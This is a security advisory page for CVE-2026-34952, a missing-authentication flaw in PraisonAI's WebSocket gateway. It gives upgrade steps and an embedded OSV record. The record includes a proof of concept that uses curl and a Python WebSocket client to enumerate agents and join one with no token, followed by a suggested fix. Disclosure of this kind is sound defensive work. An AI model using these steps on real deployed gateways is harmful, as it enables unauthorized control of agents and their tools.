CVE-2026-34952: Praisonai PraisonAI Has Missing Authentication Vulnerability
CRITICALCVE-2026-34952 is a CRITICAL (CVSS 9.1) praisonai has missing authentication vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai has missing authentication in websocket gateway. Remediation is available by upgrading affected packages to version 4.5.97.
CVE-2026-34952 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-34952
To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonai>=4.5.97
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonai
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-34952, inspect your installed packages using pip:
pip show praisonai
Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.97), your application is affected.
Note: The pip show praisonai command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34952 Affected Praisonai Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonai
|
PyPI |
< 4.5.97
|
4.5.97
|
References
Frequently Asked Questions
What is CVE-2026-34952?
Which Praisonai versions are affected?
What version fixes CVE-2026-34952?
Is praisonai affected?
What is the CVSS score of CVE-2026-34952?
What CWE is associated with CVE-2026-34952?
How can I check PyPI dependencies for CVE-2026-34952?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cfh6-vr3j-qc3g",
"modified" : "2026-04-06T22:54:21Z",
"published" : "2026-04-01T23:28:04Z",
"aliases" : [ "CVE-2026-34952" ],
"summary" : "PraisonAI Has Missing Authentication in WebSocket Gateway",
"details" : "### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n return JSONResponse({\n \"agents\": list(self._agents.keys()),\n \"sessions\": len(self._sessions),\n \"clients\": len(self._clients),\n })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n await websocket.accept()\n client_id = str(uuid.uuid4())\n self._clients[client_id] = websocket\n # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())\" &\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:\n print('Connected with no auth')\n await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))\n print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n token = websocket.query_params.get(\"token\") or \\\n websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n if self._config.auth_token and token != self._config.auth_token:\n await websocket.close(code=4001, reason=\"Unauthorized\")\n return\n await websocket.accept()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.5.97"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.5.96"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34952"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-01T23:28:04Z",
"nvd_published_at" : "2026-04-03T23:17:06Z"
}
}